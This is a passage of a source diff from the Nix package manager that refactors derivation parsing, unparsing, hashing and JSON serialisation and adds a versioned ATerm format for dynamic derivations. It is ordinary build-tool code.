parseStrings(StringViewStream & str, bool arePaths) { StringSet res; + expect(str, "["); while (!endOfList(str)) - res.insert(arePaths ? parsePath(str) : parseString(str)); + res.insert((arePaths ? parsePath(str) : parseString(str)).toOwned()); return res; } -static DerivationOutput parseDerivationOutput(const Store & store, - std::string_view pathS, std::string_view hashAlgo, std::string_view hash) +static DerivationOutput parseDerivationOutput( + const StoreDirConfig & store, + std::string_view pathS, std::string_view hashAlgoStr, std::string_view hashS, + const ExperimentalFeatureSettings & xpSettings) { - if (hashAlgo != "") { - auto method = FileIngestionMethod::Flat; - if (hashAlgo.substr(0, 2) == "r:") { - method = FileIngestionMethod::Recursive; - hashAlgo = hashAlgo.substr(2); - } - const auto hashType = parseHashType(hashAlgo); - if (hash == "impure") { - settings.requireExperimentalFeature(Xp::ImpureDerivations); - assert(pathS == ""); + if (hashAlgoStr != "") { + ContentAddressMethod method = ContentAddressMethod::parsePrefix(hashAlgoStr); + if (method == ContentAddressMethod::Raw::Text) + xpSettings.require(Xp::DynamicDerivations); + const auto hashAlgo = parseHashAlgo(hashAlgoStr); + if (hashS == "impure") { + xpSettings.require(Xp::ImpureDerivations); + if (pathS != "") + throw FormatError("impure derivation output should not specify output path"); return DerivationOutput::Impure { .method = std::move(method), - .hashType = std::move(hashType), + .hashAlgo = std::move(hashAlgo), }; - } else if (hash != "") { + } else if (hashS != "") { validatePath(pathS); + auto hash = Hash::parseNonSRIUnprefixed(hashS, hashAlgo); return DerivationOutput::CAFixed { - .hash = FixedOutputHash { + .ca = ContentAddress { .method = std::move(method), - .hash = Hash::parseNonSRIUnprefixed(hash, hashType), + .hash = std::move(hash), }, }; } else { - settings.requireExperimentalFeature(Xp::CaDerivations); - assert(pathS == ""); + xpSettings.require(Xp::CaDerivations); + if (pathS != "") + throw FormatError("content-addressed derivation output should not specify output path"); return DerivationOutput::CAFloating { .method = std::move(method), - .hashType = std::move(hashType), + .hashAlgo = std::move(hashAlgo), }; } } else { @@ -253,29 +316,119 @@ static DerivationOutput parseDerivationOutput(const Store & store, } } -static DerivationOutput parseDerivationOutput(const Store & store, std::istringstream & str) +static DerivationOutput parseDerivationOutput( + const StoreDirConfig & store, StringViewStream & str, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings) { expect(str, ","); const auto pathS = parseString(str); expect(str, ","); const auto hashAlgo = parseString(str); expect(str, ","); const auto hash = parseString(str); expect(str, ")"); - return parseDerivationOutput(store, pathS, hashAlgo, hash); + return parseDerivationOutput(store, *pathS, *hashAlgo, *hash, xpSettings); +} + +/** + * All ATerm Derivation format versions currently known. + * + * Unknown versions are rejected at the parsing stage. + */ +enum struct DerivationATermVersion { + /** + * Older unversioned form + */ + Traditional, + + /** + * Newer versioned form; only this version so far. + */ + DynamicDerivations, +}; + +static DerivedPathMap::ChildNode parseDerivedPathMapNode( + const StoreDirConfig & store, + StringViewStream & str, + DerivationATermVersion version) +{ + DerivedPathMap::ChildNode node; + + auto parseNonDynamic = [&]() { + node.value = parseStrings(str, false); + }; + + // Older derivation should never use new form, but newer + // derivaiton can use old form. + switch (version) { + case DerivationATermVersion::Traditional: + parseNonDynamic(); + break; + case DerivationATermVersion::DynamicDerivations: + switch (str.peek()) { + case '[': + parseNonDynamic(); + break; + case '(': + expect(str, "("); + node.value = parseStrings(str, false); + expect(str, ",["); + while (!endOfList(str)) { + expect(str, "("); + auto outputName = parseString(str).toOwned(); + expect(str, ","); + node.childMap.insert_or_assign(outputName, parseDerivedPathMapNode(store, str, version)); + expect(str, ")"); + } + expect(str, ")"); + break; + default: + throw FormatError("invalid inputDrvs entry in derivation"); + } + break; + default: + // invalid format, not a parse error but internal error + assert(false); + } + return node; } -Derivation parseDerivation(const Store & store, std::string && s, std::string_view name) +Derivation parseDerivation( + const StoreDirConfig & store, std::string && s, std::string_view name, + const ExperimentalFeatureSettings & xpSettings) { Derivation drv; drv.name = name; - std::istringstream str(std::move(s)); - expect(str, "Derive(["); + StringViewStream str{s}; + expect(str, "D"); + DerivationATermVersion version; + switch (str.peek()) { + case 'e': + expect(str, "erive("); + version = DerivationATermVersion::Traditional; + break; + case 'r': { + expect(str, "rvWithVersion("); + auto versionS = parseString(str); + if (*versionS == "xp-dyn-drv") { + // Only verison we have so far + version = DerivationATermVersion::DynamicDerivations; + xpSettings.require(Xp::DynamicDerivations); + } else { + throw FormatError("Unknown derivation ATerm format version '%s'", *versionS); + } + expect(str, ","); + break; + } + default: + throw Error("derivation does not start with 'Derive' or 'DrvWithVersion'"); + } /* Parse the list of outputs. */ + expect(str, "["); while (!endOfList(str)) { - expect(str, "("); std::string id = parseString(str); - auto output = parseDerivationOutput(store, str); + expect(str, "("); std::string id = parseString(str).toOwned(); + auto output = parseDerivationOutput(store, str, xpSettings); drv.outputs.emplace(std::move(id), std::move(output)); } @@ -283,28 +436,28 @@ Derivation parseDerivation(const Store & store, std::string && s, std::string_vi expect(str, ",["); while (!endOfList(str)) { expect(str, "("); - Path drvPath = parsePath(str); - expect(str, ",["); - drv.inputDrvs.insert_or_assign(store.parseStorePath(drvPath), parseStrings(str, false)); + auto drvPath = parsePath(str); + expect(str, ","); + drv.inputDrvs.map.insert_or_assign(store.parseStorePath(*drvPath), parseDerivedPathMapNode(store, str, version)); expect(str, ")"); } - expect(str, ",["); drv.inputSrcs = store.parseStorePathSet(parseStrings(str, true)); - expect(str, ","); drv.platform = parseString(str); - expect(str, ","); drv.builder = parseString(str); + expect(str, ","); drv.inputSrcs = store.parseStorePathSet(parseStrings(str, true)); + expect(str, ","); drv.platform = parseString(str).toOwned(); + expect(str, ","); drv.builder = parseString(str).toOwned(); /* Parse the builder arguments. */ expect(str, ",["); while (!endOfList(str)) - drv.args.push_back(parseString(str)); + drv.args.push_back(parseString(str).toOwned()); /* Parse the environment variables. */ expect(str, ",["); while (!endOfList(str)) { - expect(str, "("); auto name = parseString(str); - expect(str, ","); auto value = parseString(str); + expect(str, "("); auto name = parseString(str).toOwned(); + expect(str, ","); auto value = parseString(str).toOwned(); expect(str, ")"); - drv.env[name] = value; + drv.env.insert_or_assign(std::move(name), std::move(value)); } expect(str, ")"); @@ -312,6 +465,15 @@ Derivation parseDerivation(const Store & store, std::string && s, std::string_vi } +/** + * Print a derivation string literal to an `std::string`. + * + * This syntax does not generalize to the expression language, which needs to + * escape `$`. + * + * @param res Where to print to + * @param s Which logical string to print + */ static void printString(std::string & res, std::string_view s) { boost::container::small_vector buffer; @@ -364,14 +526,67 @@ static void printUnquotedStrings(std::string & res, ForwardIterator i, ForwardIt } -std::string Derivation::unparse(const Store & store, bool maskOutputs, - std::map * actualInputs) const +static void unparseDerivedPathMapNode(const StoreDirConfig & store, std::string & s, const DerivedPathMap::ChildNode & node) +{ + s += ','; + if (node.childMap.empty()) { + printUnquotedStrings(s, node.value.begin(), node.value.end()); + } else { + s += "("; + printUnquotedStrings(s, node.value.begin(), node.value.end()); + s += ",["; + bool first = true; + for (auto & [outputName, childNode] : node.childMap) { + if (first) first = false; else s += ','; + s += '('; printUnquotedString(s, outputName); + unparseDerivedPathMapNode(store, s, childNode); + s += ')'; + } + s += "])"; + } +} + + +/** + * Does the derivation have a dependency on the output of a dynamic + * derivation? + * + * In other words, does it on the output of derivation that is itself an + * ouput of a derivation? This corresponds to a dependency that is an + * inductive derived path with more than one layer of + * `DerivedPath::Built`. + */ +static bool hasDynamicDrvDep(const Derivation & drv) +{ + return + std::find_if( + drv.inputDrvs.map.begin(), + drv.inputDrvs.map.end(), + [](auto & kv) { return !kv.second.childMap.empty(); }) + != drv.inputDrvs.map.end(); +} + + +std::string Derivation::unparse(const StoreDirConfig & store, bool maskOutputs, + DerivedPathMap::ChildNode::Map * actualInputs) const { std::string s; s.reserve(65536); - s += "Derive(["; + + /* Use older unversioned form if possible, for wider compat. Use + newer form only if we need it, which we do for + `Xp::DynamicDerivations`. */ + if (hasDynamicDrvDep(*this)) { + s += "DrvWithVersion("; + // Only version we have so far + printUnquotedString(s, "xp-dyn-drv"); + s += ","; + } else { + s += "Derive("; + } bool first = true; + s += "["; for (auto & i : outputs) { if (first) first = false; else s += ','; s += '('; printUnquotedString(s, i.first); @@ -383,12 +598,12 @@ std::string Derivation::unparse(const Store & store, bool maskOutputs, }, [&](const DerivationOutput::CAFixed & dof) { s += ','; printUnquotedString(s, maskOutputs ? "" : store.printStorePath(dof.path(store, name, i.first))); - s += ','; printUnquotedString(s, dof.hash.printMethodAlgo()); - s += ','; printUnquotedString(s, dof.hash.hash.to_string(Base16, false)); + s += ','; printUnquotedString(s, dof.ca.printMethodAlgo()); + s += ','; printUnquotedString(s, dof.ca.hash.to_string(HashFormat::Base16, false)); }, [&](const DerivationOutput::CAFloating & dof) { s += ','; printUnquotedString(s, ""); - s += ','; printUnquotedString(s, makeFileIngestionPrefix(dof.method) + printHashType(dof.hashType)); + s += ','; printUnquotedString(s, std::string { dof.method.renderPrefix() } + printHashAlgo(dof.hashAlgo)); s += ','; printUnquotedString(s, ""); }, [&](const DerivationOutput::Deferred &) { @@ -396,30 +611,30 @@ std::string Derivation::unparse(const Store & store, bool maskOutputs, s += ','; printUnquotedString(s, ""); s += ','; printUnquotedString(s, ""); }, - [&](const DerivationOutputImpure & doi) { + [&](const DerivationOutput::Impure & doi) { // FIXME s += ','; printUnquotedString(s, ""); - s += ','; printUnquotedString(s, makeFileIngestionPrefix(doi.method) + printHashType(doi.hashType)); + s += ','; printUnquotedString(s, std::string { doi.method.renderPrefix() } + printHashAlgo(doi.hashAlgo)); s += ','; printUnquotedString(s, "impure"); } - }, i.second.raw()); + }, i.second.raw); s += ')'; } s += "],["; first = true; if (actualInputs) { - for (auto & i : *actualInputs) { + for (auto & [drvHashModulo, childMap] : *actualInputs) { if (first) first = false; else s += ','; - s += '('; printUnquotedString(s, i.first); - s += ','; printUnquotedStrings(s, i.second.begin(), i.second.end()); + s += '('; printUnquotedString(s, drvHashModulo); + unparseDerivedPathMapNode(store, s, childMap); s += ')'; } } else { - for (auto & i : inputDrvs) { + for (auto & [drvPath, childMap] : inputDrvs.map) { if (first) first = false; else s += ','; - s += '('; printUnquotedString(s, store.printStorePath(i.first)); - s += ','; printUnquotedStrings(s, i.second.begin(), i.second.end()); + s += '('; printUnquotedString(s, store.printStorePath(drvPath)); + unparseDerivedPathMapNode(store, s, childMap); s += ')'; } } @@ -454,7 +669,7 @@ bool isDerivation(std::string_view fileName) } -std::string outputPathName(std::string_view drvName, std::string_view outputName) { +std::string outputPathName(std::string_view drvName, OutputNameView outputName) { std::string res { drvName }; if (outputName != "out") { res += "-"; @@ -472,7 +687,7 @@ DerivationType BasicDerivation::type() const floatingCAOutputs, deferredIAOutputs, impureOutputs; - std::optional floatingHashType; + std::optional floatingHashAlgo; for (auto & i : outputs) { std::visit(overloaded { @@ -484,11 +699,11 @@ DerivationType BasicDerivation::type() const }, [&](const DerivationOutput::CAFloating & dof) { floatingCAOutputs.insert(i.first); - if (!floatingHashType) { - floatingHashType = dof.hashType; + if (!floatingHashAlgo) { + floatingHashAlgo = dof.hashAlgo; } else { - if (*floatingHashType != dof.hashType) - throw Error("all floating outputs must use the same hash type"); + if (*floatingHashAlgo != dof.hashAlgo) + throw Error("all floating outputs must use the same hash algorithm"); } }, [&](const DerivationOutput::Deferred &) { @@ -497,7 +712,7 @@ DerivationType BasicDerivation::type() const [&](const DerivationOutput::Impure &) { impureOutputs.insert(i.first); }, - }, i.second.raw()); + }, i.second.raw); } if (inputAddressedOutputs.empty() @@ -614,10 +829,10 @@ DrvHash hashDerivationModulo(Store & store, const Derivation & drv, bool maskOut if (type.isFixed()) { std::map outputHashes; for (const auto & i : drv.outputs) { - auto & dof = std::get(i.second.raw()); - auto hash = hashString(htSHA256, "fixed:out:" - + dof.hash.printMethodAlgo() + ":" - + dof.hash.hash.to_string(Base16, false) + ":" + auto & dof = std::get(i.second.raw); + auto hash = hashString(HashAlgorithm::SHA256, "fixed:out:" + + dof.ca.printMethodAlgo() + ":" + + dof.ca.hash.to_string(HashFormat::Base16, false) + ":" + store.printStorePath(dof.path(store, drv.name, i.first))); outputHashes.insert_or_assign(i.first, std::move(hash)); } @@ -627,7 +842,7 @@ DrvHash hashDerivationModulo(Store & store, const Derivation & drv, bool maskOut }; } - if (!type.isPure()) { + if (type.isImpure()) { std::map outputHashes; for (const auto & [outputName, _] : drv.outputs) outputHashes.insert_or_assign(outputName, impureOutputHash); @@ -651,24 +866,22 @@ DrvHash hashDerivationModulo(Store & store, const Derivation & drv, bool maskOut [](const DerivationType::Impure &) -> DrvHash::Kind { assert(false); } - }, drv.type().raw()); + }, drv.type().raw); - std::map inputs2; - for (auto & [drvPath, inputOutputs0] : drv.inputDrvs) { - // Avoid lambda capture restriction with standard / Clang - auto & inputOutputs = inputOutputs0; + DerivedPathMap::ChildNode::Map inputs2; + for (auto & [drvPath, node] : drv.inputDrvs.map) { const auto & res = pathDerivationModulo(store, drvPath); if (res.kind == DrvHash::Kind::Deferred) kind = DrvHash::Kind::Deferred; - for (auto & outputName : inputOutputs) { + for (auto & outputName : node.value) { const auto h = get(res.hashes, outputName); if (!h) throw Error("no hash for output '%s' of derivation '%s'", outputName, drv.name); - inputs2[h->to_string(Base16, false)].insert(outputName); + inputs2[h->to_string(HashFormat::Base16, false)].value.insert(outputName); } } - auto hash = hashString(htSHA256, drv.unparse(store, maskOutputs, &inputs2)); + auto hash = hashString(HashAlgorithm::SHA256, drv.unparse(store, maskOutputs, &inputs2)); std::map outputHashes; for (const auto & [outputName, _] : drv.outputs) { @@ -688,19 +901,13 @@ std::map staticOutputHashes(Store & store, const Derivation & } -bool wantOutput(const std::string & output, const std::set & wanted) -{ - return wanted.empty() || wanted.find(output) != wanted.end(); -} - - -static DerivationOutput readDerivationOutput(Source & in, const Store & store) +static DerivationOutput readDerivationOutput(Source & in, const StoreDirConfig & store) { const auto pathS = readString(in); const auto hashAlgo = readString(in); const auto hash = readString(in); - return parseDerivationOutput(store, pathS, hashAlgo, hash); + return parseDerivationOutput(store, pathS, hashAlgo, hash, experimentalFeatureSettings); } StringSet BasicDerivation::outputNames() const @@ -711,13 +918,13 @@ StringSet BasicDerivation::outputNames() const return names; } -DerivationOutputsAndOptPaths BasicDerivation::outputsAndOptPaths(const Store & store) const +DerivationOutputsAndOptPaths BasicDerivation::outputsAndOptPaths(const StoreDirConfig & store) const { DerivationOutputsAndOptPaths outsAndOptPaths; - for (auto output : outputs) + for (auto & [outputName, output] : outputs) outsAndOptPaths.insert(std::make_pair( - output.first, - std::make_pair(output.second, output.second.path(store, name, output.first)) + outputName, + std::make_pair(output, output.path(store, name, outputName)) ) ); return outsAndOptPaths; @@ -725,15 +932,14 @@ DerivationOutputsAndOptPaths BasicDerivation::outputsAndOptPaths(const Store & s std::string_view BasicDerivation::nameFromPath(const StorePath & drvPath) { + drvPath.requireDerivation(); auto nameWithSuffix = drvPath.name(); - constexpr std::string_view extension = ".drv"; - assert(hasSuffix(nameWithSuffix, extension)); - nameWithSuffix.remove_suffix(extension.size()); + nameWithSuffix.remove_suffix(drvExtension.size()); return nameWithSuffix; } -Source & readDerivation(Source & in, const Store & store, BasicDerivation & drv, std::string_view name) +Source & readDerivation(Source & in, const StoreDirConfig & store, BasicDerivation & drv, std::string_view name) { drv.name = name; @@ -745,7 +951,8 @@ Source & readDerivation(Source & in, const Store & store, BasicDerivation & drv, drv.outputs.emplace(std::move(name), std::move(output)); } - drv.inputSrcs = worker_proto::read(store, in, Phantom {}); + drv.inputSrcs = CommonProto::Serialise::read(store, + CommonProto::ReadConn { .from = in }); in >> drv.platform >> drv.builder; drv.args = readStrings(in); @@ -760,7 +967,7 @@ Source & readDerivation(Source & in, const Store & store, BasicDerivation & drv, } -void writeDerivation(Sink & out, const Store & store, const BasicDerivation & drv) +void writeDerivation(Sink & out, const StoreDirConfig & store, const BasicDerivation & drv) { out << drv.outputs.size(); for (auto & i : drv.outputs) { @@ -773,12 +980,12 @@ void writeDerivation(Sink & out, const Store & store, const BasicDerivation & dr }, [&](const DerivationOutput::CAFixed & dof) { out << store.printStorePath(dof.path(store, drv.name, i.first)) - << dof.hash.printMethodAlgo() - << dof.hash.hash.to_string(Base16, false); + << dof.ca.printMethodAlgo() + << dof.ca.hash.to_string(HashFormat::Base16, false); }, [&](const DerivationOutput::CAFloating & dof) { out << "" - << (makeFileIngestionPrefix(dof.method) + printHashType(dof.hashType)) + << (std::string { dof.method.renderPrefix() } + printHashAlgo(dof.hashAlgo)) << ""; }, [&](const DerivationOutput::Deferred &) { @@ -788,12 +995,14 @@ void writeDerivation(Sink & out, const Store & store, const BasicDerivation & dr }, [&](const DerivationOutput::Impure & doi) { out << "" - << (makeFileIngestionPrefix(doi.method) + printHashType(doi.hashType)) + << (std::string { doi.method.renderPrefix() } + printHashAlgo(doi.hashAlgo)) << "impure"; }, - }, i.second.raw()); + }, i.second.raw); } - worker_proto::write(store, out, drv.inputSrcs); + CommonProto::write(store, + CommonProto::WriteConn { .to = out }, + drv.inputSrcs); out << drv.platform << drv.builder << drv.args; out << drv.env.size(); for (auto & i : drv.env) @@ -801,23 +1010,19 @@ void writeDerivation(Sink & out, const Store & store, const BasicDerivation & dr } -std::string hashPlaceholder(const std::string_view outputName) +std::string hashPlaceholder(const OutputNameView outputName) { // FIXME: memoize? - return "/" + hashString(htSHA256, concatStrings("nix-output:", outputName)).to_string(Base32, false); + return "/" + hashString(HashAlgorithm::SHA256, concatStrings("nix-output:", outputName)).to_string(HashFormat::Nix32, false); } -std::string downstreamPlaceholder(const Store & store, const StorePath & drvPath, std::string_view outputName) -{ - auto drvNameWithExtension = drvPath.name(); - auto drvName = drvNameWithExtension.substr(0, drvNameWithExtension.size() - 4); - auto clearText = "nix-upstream-output:" + std::string { drvPath.hashPart() } + ":" + outputPathName(drvName, outputName); - return "/" + hashString(htSHA256, clearText).to_string(Base32, false); -} + static void rewriteDerivation(Store & store, BasicDerivation & drv, const StringMap & rewrites) { + debug("Rewriting the derivation"); + for (auto & rewrite : rewrites) { debug("rewriting %s as %s", rewrite.first, rewrite.second); } @@ -837,7 +1042,7 @@ static void rewriteDerivation(Store & store, BasicDerivation & drv, const String auto hashModulo = hashDerivationModulo(store, Derivation(drv), true); for (auto & [outputName, output] : drv.outputs) { - if (std::holds_alternative(output.raw())) { + if (std::holds_alternative(output.raw)) { auto h = get(hashModulo.hashes, outputName); if (!h) throw Error("derivation '%s' output '%s' has no hash (derivations.cc/rewriteDerivation)", @@ -852,18 +1057,74 @@ static void rewriteDerivation(Store & store, BasicDerivation & drv, const String } -std::optional Derivation::tryResolve(Store & store) const +std::optional Derivation::tryResolve(Store & store, Store * evalStore) const { std::map, StorePath> inputDrvOutputs; - for (auto & input : inputDrvs) - for (auto & [outputName, outputPath] : store.queryPartialDerivationOutputMap(input.first)) - if (outputPath) - inputDrvOutputs.insert_or_assign({input.first, outputName}, *outputPath); + std::function::ChildNode &)> accum; + accum = [&](auto & inputDrv, auto & node) { + for (auto & [outputName, outputPath] : store.queryPartialDerivationOutputMap(inputDrv, evalStore)) { + if (outputPath) { + inputDrvOutputs.insert_or_assign({inputDrv, outputName}, *outputPath); + if (auto p = get(node.childMap, outputName)) + accum(*outputPath, *p); + } + } + }; + + for (auto & [inputDrv, node] : inputDrvs.map) + accum(inputDrv, node); return tryResolve(store, inputDrvOutputs); } +static bool tryResolveInput( + Store & store, StorePathSet & inputSrcs, StringMap & inputRewrites, + const DownstreamPlaceholder * placeholderOpt, + const StorePath & inputDrv, const DerivedPathMap::ChildNode & inputNode, + const std::map, StorePath> & inputDrvOutputs) +{ + auto getOutput = [&](const std::string & outputName) { + auto * actualPathOpt = get(inputDrvOutputs, { inputDrv, outputName }); + if (!actualPathOpt) + warn("output %s of input %s missing, aborting the resolving", + outputName, + store.printStorePath(inputDrv) + ); + return actualPathOpt; + }; + + auto getPlaceholder = [&](const std::string & outputName) { + return placeholderOpt + ? DownstreamPlaceholder::unknownDerivation(*placeholderOpt, outputName) + : DownstreamPlaceholder::unknownCaOutput(inputDrv, outputName); + }; + + for (auto & outputName : inputNode.value) { + auto actualPathOpt = getOutput(outputName); + if (!actualPathOpt) return false; + auto actualPath = *actualPathOpt; + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { + inputRewrites.emplace( + getPlaceholder(outputName).render(), + store.printStorePath(actualPath)); + } + inputSrcs.insert(std::move(actualPath)); + } + + for (auto & [outputName, childNode] : inputNode.childMap) { + auto actualPathOpt = getOutput(outputName); + if (!actualPathOpt) return false; + auto actualPath = *actualPathOpt; + auto nextPlaceholder = getPlaceholder(outputName); + if (!tryResolveInput(store, inputSrcs, inputRewrites, + &nextPlaceholder, actualPath, childNode, + inputDrvOutputs)) + return false; + } + return true; +} + std::optional Derivation::tryResolve( Store & store, const std::map, StorePath> & inputDrvOutputs) const @@ -873,27 +1134,288 @@ std::optional Derivation::tryResolve( // Input paths that we'll want to rewrite in the derivation StringMap inputRewrites; - for (auto & [inputDrv, inputOutputs] : inputDrvs) { - for (auto & outputName : inputOutputs) { - if (auto actualPath = get(inputDrvOutputs, { inputDrv, outputName })) { - inputRewrites.emplace( - downstreamPlaceholder(store, inputDrv, outputName), - store.printStorePath(*actualPath)); - resolved.inputSrcs.insert(*actualPath); - } else { - warn("output '%s' of input '%s' missing, aborting the resolving", - outputName, - store.printStorePath(inputDrv)); - return {}; - } - } - } + for (auto & [inputDrv, inputNode] : inputDrvs.map) + if (!tryResolveInput(store, resolved.inputSrcs, inputRewrites, + nullptr, inputDrv, inputNode, inputDrvOutputs)) + return std::nullopt; rewriteDerivation(store, resolved, inputRewrites); return resolved; } -const Hash impureOutputHash = hashString(htSHA256, "impure"); + +void Derivation::checkInvariants(Store & store, const StorePath & drvPath) const +{ + assert(drvPath.isDerivation()); + std::string drvName(drvPath.name()); + drvName = drvName.substr(0, drvName.size() - drvExtension.size()); + + if (drvName != name) { + throw Error("Derivation '%s' has name '%s' which does not match its path", store.printStorePath(drvPath), name); + } + + auto envHasRightPath = [&](const StorePath & actual, const std::string & varName) + { + auto j = env.find(varName); + if (j == env.end() || store.parseStorePath(j->second) != actual) + throw Error("derivation '%s' has incorrect environment variable '%s', should be '%s'", + store.printStorePath(drvPath), varName, store.printStorePath(actual)); + }; + + + // Don't need the answer, but do this anyways to assert is proper + // combination. The code below is more general and naturally allows + // combinations that are currently prohibited. + type(); + + std::optional hashesModulo; + for (auto & i : outputs) { + std::visit(overloaded { + [&](const DerivationOutput::InputAddressed & doia) { + if (!hashesModulo) { + // somewhat expensive so we do lazily + hashesModulo = hashDerivationModulo(store, *this, true); + } + auto currentOutputHash = get(hashesModulo->hashes, i.first); + if (!currentOutputHash) + throw Error("derivation '%s' has unexpected output '%s' (local-store / hashesModulo) named '%s'", + store.printStorePath(drvPath), store.printStorePath(doia.path), i.first); + StorePath recomputed = store.makeOutputPath(i.first, *currentOutputHash, drvName); + if (doia.path != recomputed) + throw Error("derivation '%s' has incorrect output '%s', should be '%s'", + store.printStorePath(drvPath), store.printStorePath(doia.path), store.printStorePath(recomputed)); + envHasRightPath(doia.path, i.first); + }, + [&](const DerivationOutput::CAFixed & dof) { + auto path = dof.path(store, drvName, i.first); + envHasRightPath(path, i.first); + }, + [&](const DerivationOutput::CAFloating &) { + /* Nothing to check */ + }, + [&](const DerivationOutput::Deferred &) { + /* Nothing to check */ + }, + [&](const DerivationOutput::Impure &) { + /* Nothing to check */ + }, + }, i.second.raw); + } +} + + +const Hash impureOutputHash = hashString(HashAlgorithm::SHA256, "impure"); + +nlohmann::json DerivationOutput::toJSON( + const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const +{ + nlohmann::json res = nlohmann::json::object(); + std::visit(overloaded { + [&](const DerivationOutput::InputAddressed & doi) { + res["path"] = store.printStorePath(doi.path); + }, + [&](const DerivationOutput::CAFixed & dof) { + res["path"] = store.printStorePath(dof.path(store, drvName, outputName)); + res["method"] = std::string { dof.ca.method.render() }; + res["hashAlgo"] = printHashAlgo(dof.ca.hash.algo); + res["hash"] = dof.ca.hash.to_string(HashFormat::Base16, false); + // FIXME print refs? + }, + [&](const DerivationOutput::CAFloating & dof) { + res["method"] = std::string { dof.method.render() }; + res["hashAlgo"] = printHashAlgo(dof.hashAlgo); + }, + [&](const DerivationOutput::Deferred &) {}, + [&](const DerivationOutput::Impure & doi) { + res["method"] = std::string { doi.method.render() }; + res["hashAlgo"] = printHashAlgo(doi.hashAlgo); + res["impure"] = true; + }, + }, raw); + return res; +} + + +DerivationOutput DerivationOutput::fromJSON( + const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName, + const nlohmann::json & _json, + const ExperimentalFeatureSettings & xpSettings) +{ + std::set keys; + auto & json = getObject(_json); + + for (const auto & [key, _] : json) + keys.insert(key); + + auto methodAlgo = [&]() -> std::pair { + auto & method_ = getString(valueAt(json, "method")); + ContentAddressMethod method = ContentAddressMethod::parse(method_); + if (method == ContentAddressMethod::Raw::Text) + xpSettings.require(Xp::DynamicDerivations); + + auto & hashAlgo_ = getString(valueAt(json, "hashAlgo")); + auto hashAlgo = parseHashAlgo(hashAlgo_); + return { std::move(method), std::move(hashAlgo) }; + }; + + if (keys == (std::set { "path" })) { + return DerivationOutput::InputAddressed { + .path = store.parseStorePath(getString(valueAt(json, "path"))), + }; + } + + else if (keys == (std::set { "path", "method", "hashAlgo", "hash" })) { + auto [method, hashAlgo] = methodAlgo(); + auto dof = DerivationOutput::CAFixed { + .ca = ContentAddress { + .method = std::move(method), + .hash = Hash::parseNonSRIUnprefixed(getString(valueAt(json, "hash")), hashAlgo), + }, + }; + if (dof.path(store, drvName, outputName) != store.parseStorePath(getString(valueAt(json, "path")))) + throw Error("Path doesn't match derivation output"); + return dof; + } + + else if (keys == (std::set { "method", "hashAlgo" })) { + xpSettings.require(Xp::CaDerivations); + auto [method, hashAlgo] = methodAlgo(); + return DerivationOutput::CAFloating { + .method = std::move(method), + .hashAlgo = std::move(hashAlgo), + }; + } + + else if (keys == (std::set { })) { + return DerivationOutput::Deferred {}; + } + + else if (keys == (std::set { "method", "hashAlgo", "impure" })) { + xpSettings.require(Xp::ImpureDerivations); + auto [method, hashAlgo] = methodAlgo(); + return DerivationOutput::Impure { + .method = std::move(method), + .hashAlgo = hashAlgo, + }; + } + + else { + throw Error("invalid JSON for derivation output"); + } +} + + +nlohmann::json Derivation::toJSON(const StoreDirConfig & store) const +{ + nlohmann::json res = nlohmann::json::object(); + + res["name"] = name; + + { + nlohmann::json & outputsObj = res["outputs"]; + outputsObj = nlohmann::json::object(); + for (auto & [outputName, output] : outputs) { + outputsObj[outputName] = output.toJSON(store, name, outputName); + } + } + + { + auto& inputsList = res["inputSrcs"]; + inputsList = nlohmann::json ::array(); + for (auto & input : inputSrcs) + inputsList.emplace_back(store.printStorePath(input)); + } + + { + std::function::ChildNode &)> doInput; + doInput = [&](const auto & inputNode) { + auto value = nlohmann::json::object(); + value["outputs"] = inputNode.value; + { + auto next = nlohmann::json::object(); + for (auto & [outputId, childNode] : inputNode.childMap) + next[outputId] = doInput(childNode); + value["dynamicOutputs"] = std::move(next); + } + return value; + }; + { + auto& inputDrvsObj = res["inputDrvs"]; + inputDrvsObj = nlohmann::json::object(); + for (auto & [inputDrv, inputNode] : inputDrvs.map) { + inputDrvsObj[store.printStorePath(inputDrv)] = doInput(inputNode); + } + } + } + + res["system"] = platform; + res["builder"] = builder; + res["args"] = args; + res["env"] = env; + + return res; +} + + +Derivation Derivation::fromJSON( + const StoreDirConfig & store, + const nlohmann::json & _json, + const ExperimentalFeatureSettings & xpSettings) +{ + using nlohmann::detail::value_t; + + Derivation res; + + auto & json = getObject(_json); + + res.name = getString(valueAt(json, "name")); + + try { + for (auto & [outputName, output] : getObject(valueAt(json, "outputs"))) { + res.outputs.insert_or_assign( + outputName, + DerivationOutput::fromJSON(store, res.name, outputName, output)); + } + } catch (Error & e) { + e.addTrace({}, "while reading key 'outputs'"); + throw; + } + + try { + for (auto & input : getArray(valueAt(json, "inputSrcs"))) + res.inputSrcs.insert(store.parseStorePath(static_cast(input))); + } catch (Error & e) { + e.addTrace({}, "while reading key 'inputSrcs'"); + throw; + } + + try { + std::function::ChildNode(const nlohmann::json &)> doInput; + doInput = [&](const auto & _json) { + auto & json = getObject(_json); + DerivedPathMap::ChildNode node; + node.value = getStringSet(valueAt(json, "outputs")); + for (auto & [outputId, childNode] : getObject(valueAt(json, "dynamicOutputs"))) { + xpSettings.require(Xp::DynamicDerivations); + node.childMap[outputId] = doInput(childNode); + } + return node; + }; + for (auto & [inputDrvPath, inputOutputs] : getObject(valueAt(json, "inputDrvs"))) + res.inputDrvs.map[store.parseStorePath(inputDrvPath)] = + doInput(inputOutputs); + } catch (Error & e) { + e.addTrace({}, "while reading key 'inputDrvs'"); + throw; + } + + res.platform = getString(valueAt(json, "system")); + res.builder = getString(valueAt(json, "builder")); + res.args = getStringList(valueAt(json, "args")); + res.env = getStringMap(valueAt(json, "env")); + + return res; +} } diff --git a/src/libstore/derivations.hh b/src/libstore/derivations.hh index f3cd87fb1..58e5328a5 100644 --- a/src/libstore/derivations.hh +++ b/src/libstore/derivations.hh @@ -1,163 +1,296 @@ #pragma once +///@file #include "path.hh" #include "types.hh" #include "hash.hh" #include "content-address.hh" #include "repair-flag.hh" +#include "derived-path-map.hh" #include "sync.hh" +#include "variant-wrapper.hh" #include #include - namespace nix { +struct StoreDirConfig; /* Abstract syntax of derivations. */ -/* The traditional non-fixed-output derivation type. */ -struct DerivationOutputInputAddressed -{ - StorePath path; -}; - -/* Fixed-output derivations, whose output paths are content addressed - according to that fixed output. */ -struct DerivationOutputCAFixed -{ - FixedOutputHash hash; /* hash used for expected hash computation */ - StorePath path(const Store & 